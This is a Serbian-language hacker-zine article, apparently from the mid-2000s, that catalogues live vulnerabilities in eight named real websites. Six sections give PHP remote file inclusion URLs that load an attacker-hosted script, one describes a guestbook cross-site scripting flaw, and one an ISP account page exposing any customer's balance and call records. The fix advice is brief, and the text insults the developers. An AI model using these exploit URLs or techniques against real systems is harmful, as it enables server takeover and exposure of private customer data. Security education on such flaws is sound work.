................... ...::: phearless zine #3 :::... .....................>---[ Security Of Web Pages ]---<..................... ..........................>---[ by BaCkSpAcE ]---<......................... sinisa86[at]gmail[dot]com SADRZAJ: [0] Uvod - "Sigurnost" na webu [1] http://www.portalalfa.hr [2] http://www.infoelektronika.co.yu [3] http://www.holobit.net [4] http://www.bsteam.org [5] http://www.hack3r2k.com [6] http://www.hcd.hr [7] http://www.oskrupanj.edu.yu [8] http://www.inffo.net [9] Odvod NAPOMENA: Autor ovog teksta nije odgovoran za bilo kakvu stetu nastalu citanjem ili koriscenjem materijala iznetog u ovom tekstu u bilo kakve ilegalne ili zlonamerne svrhe. Tekst je namenjen prvenstveno phprogramerima da bi uvideli gde njihove kolege grese, i da se potrude da i oni ne prave iste greske. Ko se ne slaze sa ovim, neka "skoci" odmah na poglavlje br. 9. //////////////////////////////////////////////////////////////////////////// --==<[ 0. Uvod - "Sigurnost" na webu \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Ogroman rast broja web sajtova uslovio je i pojavu mnogih takozvanih web dizajnera koji misle da ako procitaju HTML za 24 casa, da su odmah potom spremni da prave stranice. Zbog toga nastaju dva problema: pravi programeri i web dizajneri imaju manje posla nego sto bi trebalo jer ovi "priuceni" odradjuju veliki broj sajtova po znatno nizim cenama, a drugi problem je sto su ti sajtovi busni kao svajcarski sir. A sad bih hteo da vam malo pojasnim kako izgleda mozak takvog jednog lika: sistem administrator je duzan da server pravilno konfigurise, tj. da podesi svaki servis (ftp, ssh, http...), da prati pojavu novih zakrpa za programe koje koristi, da pregleda logove... A onaj ko zeli da hostuje svoj sajt na takvom serveru, treba samo da napravi neki sajt i da ga uploaduje na server. Pogledajte onda koliku odgovornost ima sistem administrator, a koliku onaj ko zakupi prostor na serveru. E, sad zamislite kada taj tzv. web dizajner/programer napravi neki obican sajtic, pa uz to napravi neki veci sigurnosni propust, kolika je onda njegova pamet i u kakvom su ocajnom stanju njegove mozdane celije... A kakvih sve ima pacijenata, videcete u nastavku teksta. /////////////////////////////////////////////////////////////////////////// --==<[ 1. http://www.portalalfa.hr \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Tip ranjivosti : php inclusion Ranjivo mesto : http://www.portalalfa.hr/index2.php ---< index2.php ... ... Ovo je najjednostavniji oblik php inclusiona, koji se vidi iz aviona i bez ikakve prepreke moze da se iskoristi. Ranjiv deo koda je naravno ovaj sa include funkcijom: Ovaj programer je pravio ovaj primer kao za udzbenike... Ovo je pravi primer kako ne treba raditi, odnosno kodirati. I najsladji deo na kraju: http://www.portalalfa.hr/index2.php?dat=http://www.com/bla.php /////////////////////////////////////////////////////////////////////////// --==<[ 2. http://www.infoelektronika.co.yu \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Tip ranjivosti : php inclusion Ranjivo mesto : http://www.infoelektronika.co.yu/redirect.php --< redirect.php ...
... Nacin iskoriscavanja ovog buga je identican prethodnom primeru, s tim sto je za nijansu drugacije iskodiran. Znaci, ovde je kljucni red: Ovde nije toliko zanimljiv sam bug, vec nacin na koji je ova skripta trebala da radi. Ustvari je ona trebala da predstavlja kao neko prikrivanje izvorne adrese nekog fajla, npr: http://www.infoelektronika.co.yu/redirect.php?file=data/nesto.zip Medjutim, programer nije predvideo da postoje ljudi otvorenog uma koji bi da vide i nesto vise od prikazanog ;) Iskoriscavanje ovog propusta se svodi (koristeci njihov recnik) na redirekciju sajta na neku nasu lokaciju sa "dobronamernom" php skriptom: http://www.infoelektronika.co.yu/redirect.php?file=http://www.com/bla.php /////////////////////////////////////////////////////////////////////////// --==<[ 3. http://www.holobit.net \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Tip ranjivosti : php inclusion Ranjivo mesto : http://www.holobit.net/index.php ---< index.php ... $menu = $_GET["menu"]; $pro = $_GET["pro"]; include("head.php"); include("header.php"); include("flash.php"); include("menu1.php"); if (isset($menu)) { include ($menu.".php"); } if (!isset($menu) AND isset($pro)) { <--- KAKAV RETARD if (isset($pro)) { <--- KAKAV RETARD switch ($pro) { case cafe: ... U ovom primeru iskoriscavanje propusta nije nista teze nego u prethodnom primeru. Red koji ce da dovuce nas "dobronamerni" kod je: $menu = $_GET["menu"]; Posle toga sledi carobna funkcija include... if (isset($menu)) { include ($menu.".php"); } Kad sam video ovaj red, pomislio sam da je ovaj programer bio bar za nijasniju pametniji od prethodnog (ako se to uopste moze reci), jer je bar proveravao da li je uopste setovan $menu, iako to nema nikakve vajde. Ali, kad sam video sledeca dva reda, bio sam sokiran... if (!isset($menu) AND isset($pro)) { if (isset($pro)) { ... } } Mislim da ovo nema potrebe da se komentarise. I na kraju, iskoriscavanje ovog buga je trivijalno: http://www.holobit.net/index.php?menu=http://www.com/bla /////////////////////////////////////////////////////////////////////////// --==<[ 4. http://www.bsteam.org \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Tip ranjivosti : php inclusion Ranjivo mesto : http://www.linuxwoman.com/content/mat.php ---< content/mat.php ...
... Kao sto mozete primetiti, ovde je bug gotovo identican kao u prethodnim primerima. Razlika je u tome sto su one gore skripte ipak pisali pocetnici, dok je ovo pisao jedan "hacker". Njegovo ime (ustvari ukradeno ime) je bSecurity, upuceni znaju od koga je ovo ime ukradeno i sta je bio bSecurity Team. Premo tome, mozda bi mogli da oprostimo za greske u skriptama ovim programerima prethodna tri sajta, jer vidimo da i "hackeri" grese ;))) Ovde se radi o, nama vec standardnom, php inclusion bugu koji se nalazi u trecem redu: include "$p.php"; Dalje iskoriscavanje ovog buga je krajnje jednostavno: http://www.linuxwoman.com/content/mat.php?p=http://www.com/bla /////////////////////////////////////////////////////////////////////////// --==<[ 5. http://www.hack3r2k.com \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Tip ranjivosti : php inclusion Ranjivo mesto : http://www.hack3r2k.com/index.php ---< index.php ...

 

... I ovde se izgleda radi o nekim hackerima, ali ajd' sad, vec smo rekli da cemo i takvima da prastamo grehe ;) Greska je sabijena u 3. i 4. red: if(isset($_GET['page']) && ($_GET['page']!="nothing")) { include($_GET['page'].".php"); Ova skripta ima samo jedno ogranicenje po pitanju imena skripte, a to je da se ne sme zvati "nothing", jer ce nas u tom slucaju prebaciti na: http://www.hack3r2k.com/pub Kao sto vidite, svi php inclusion bugovi koje smo ovde naveli, postoje zbog cinjenice da ni u jednoj od navedenih skripti nije proveren sadrzaj promenljivih u koje se unose podaci. Ovde bi pomogla cak samo provera da li u promenljivoj postoji znak "/", i ako postoji, da se zameni sa blank ili eventualno da se obavesti administrator o pokusaju napada. /////////////////////////////////////////////////////////////////////////// --==<[ 6. http://www.hcd.hr \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Tip ranjivosti : php inclusion Ranjivo mesto : http://www.hcd.hr/index.php ---< index.php ... if (isset ($_GET["cont"])) { $cont=$_GET["cont"]; } else { $cont="naslov"; } ... if ($lang=="eng") {$lang_slash=$lang . "/"; $lang_home="?lang=eng"; $footer="Croatian Reading Association"; $naslov="_eng";} else {$lang_slash=""; $lang_home=""; $footer="Hrvatsko Citateljsko " . $drustvo; $naslov="";} ... ... Prva greska je nacin na koji je popunjena $cont promenljiva, jer su podaci u nju ubaceni bez prethodne provere o kakvim se podacima radi, tj. da li su validni. Kljucni red koji nas dovodi do php inclusiona je pretposlednji red: include($lang_slash . $cont . ".php"); Posto imamo kontrolu nad sadrzajem $cont promenljive, jedini problem ovde jos predstavlja $lang_slash promenljiva. U prilozenom kodu moze se primetiti dve varijacije u vezi $lang_slash promenljive: if ($lang=="eng") { $lang_slash=$lang ."/"; ...} else { $lang_slash=""; ...} Ovde se nalazi resenje problema. Znaci ako je $lang!="eng", onda imamo sve sto treba da bi iskoristili ovaj propust. Na kraju, da bi iskoristili ovaj propust, treba otkucati: http://www.hcd.hr/index.php?cont=http://www.com/bla Kao sto vidite, lang se uopste i ne pominje u ovom requestu, a nema ni potrebe, jer ce u ovom slucaju lang biti prazan, zbog cega ce i lang_slash takodje biti prazan, sto nam odgovara. /////////////////////////////////////////////////////////////////////////// --==<[ 7. http://www.oskrupanj.edu.yu \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Tip ranjivosti : cross site scripting Ranjivo mesto : http://www.oskrupanj.edu.yu/navigate.php?id=9 Prilikom upisivanja u guestbook u polju poruke postoji XSS. Kao dokaz, mozete ukucati kao tekst poruke: Medjutim, izgleda da postoji neko blago filtriranje nekih znakova, npr znak navodnika prevodi u html char, odnosno " prevodi u \". Ovaj bug ne ugrozava direktno server na kom se nalazi sajt, vec ugrozava one koji ga posecuju, jer u pregled poruka mozemo tako da ugnezdimo neki zlonameran kod i izazovemo neku stetu. Resenje ovog problema bi bilo filtriranje ulaznik podataka (ime, prezime, email i poruka), uz pravilno koriscenje funkcija eregi_replace() i htmlspecialchars(), npr: $poruka = htmlspecialchars($poruka); XSS (Cross Site Scripting) bugovi se najcesce javljaju kao posledica lose filtriranih ili nefiltriranih ulaznih podataka. Vise o XSS bugovima uopste mozete pronaci u prvom broju phzine-a, u tekstu "Cross Site Scripting with examples" ciji je autor Exodus. Pored ovog buga, na ovom sajtu se nazirao i php inclusion, koji ne moze do kraja da se ispita ili nasluti. Mozete videti tako sto cete posetiti stranicu: http://www.oskrupanj.edu.yu/knjiga/pregledknjige.php Poruke o gresci koje se dobijaju prilikom posete ovoj stranici su: Warning: main(tempknjiga.htm): failed to open stream: No such file or directory in /xsp/home/oskrupan/web/www/knjiga/pregledknjige.php on line 20 Warning: main(): Failed opening 'tempknjiga.htm' for inclusion (include_path='.:/usr/local/lib/php') in /xsp/home/oskrupan/web/www/knjiga/pregledknjige.php on line 20 /////////////////////////////////////////////////////////////////////////// --==<[ 8. http://www.inffo.net \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Tip ranjivosti : input validation Ranjivo mesto : http://www.inffo.net/stanje/index.php Greska je u tome sto se ne proverava da li je korisnik autentifikovan, i da li je prijavljen bas taj korisnik cije informacije zelimo da vidimo. Prilikom zahteva za prikazom stanja ili liste brojeva sa kojih je trosen uplaceni internet, mi ustvari pristupamo sledecim stranama: http://www.inffo.net/stanje/index.php?stanje&login=[username] http://www.inffo.net/stanje/index.php?pozivi&login=[username] Gore pomenuta greska nam omogucava da vidimo ove podatke za bilo kog korisnika, pod uslovom da znamo njegovo korisnicko ime. Za primer mozete pokusati bilo koje ime jer cete verovatno i nasumicno pogoditi nekoga. Posto ne posedujem izvorni kod ove skripte, prinudjen sam da je ispisem otprilike kako bi trebalo da izgleda, na osnovu podataka koji mogu da se izvuku. Prvo sto vidimo u jednom od zahteva, to su "stanje" i "pozivi" na osnovu kojih se pozivaju odgovarajuce strane. To nam govori da skripta izgleda ovako (ili slicno): if (isset($_GET["pozivi"])) { // prikazi pozive od korisnika $login } else ... Zatim, mozemo da vidimo cak i koji je redosled "if-ova", tako sto cemo zatraziti stranicu sa sledecim parametrima: http://www.inffo.net/stanje/index.php?pozivi&stanje&login=[username] Posto nam se prikazala strana sa stanjem, to znaci da skripta izgleda ovako: ... if (isset($_GET["stanje"])) { // prikazi stanje uplate od korisnika $login } else if (isset($_GET["pozivi"])) { // prikazi pozive od korisnika $login } else ... } else // ne postoji trazena strana ... Da bi ispravili ovu gresku, potrebno je napraviti promenu skripte, tipa: if (isset($_GET["pozivi"]) && $authentificated_user == $login) { // prikazi pozive od korisnika $login } else ... /////////////////////////////////////////////////////////////////////////// --==<[ 9. Odvod \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Na kraju, zeleo bih da se zahvalim svima gore pomenutim sto su nam svojim poznavanjem php-a omogucili da ucimo na njihovim primerima, jer ja mislim da nema sanse da bih mogao da smislim onakve primere, bez obzira na cemu bio ;) I posle se neko cudi sto mu je oboren sajt i slicno, i treba neko zbog toga da robija. Ma treba bas ovakve phprogramere strpati u zatvor da nam ne kvare buduca pokolenja ;) (prvenstveno mislim na autora sajta u cetvrtom poglavlju). U toku pisanja ovog teksta, svi sajtovi su imali navedene bugove. U toku narednih dana, poslacu email dizajnerima ovih sajtova kako bi uklonili navedene bugove da ne bi neko dosao u iskusenje da se omrsi ;) greetz to: **W**, d0lphin, De1Rekt0n, BORG, SSnaVe, bl00d, Shatterhand, Earthquake, deroko, sunnis, BoyScout, hazard, HitMan, Exodus, Re00t, lesh, ACidCooKie i svim ostalim clanovima grupa sa kojima je bilo divno druziti se (Serbian Security Team i bSecurity Team)... i svima vama koje sam zaboravio i onima koje nisam pomenuo da ne bi kvario ovaj 75-oznakovni right align ;)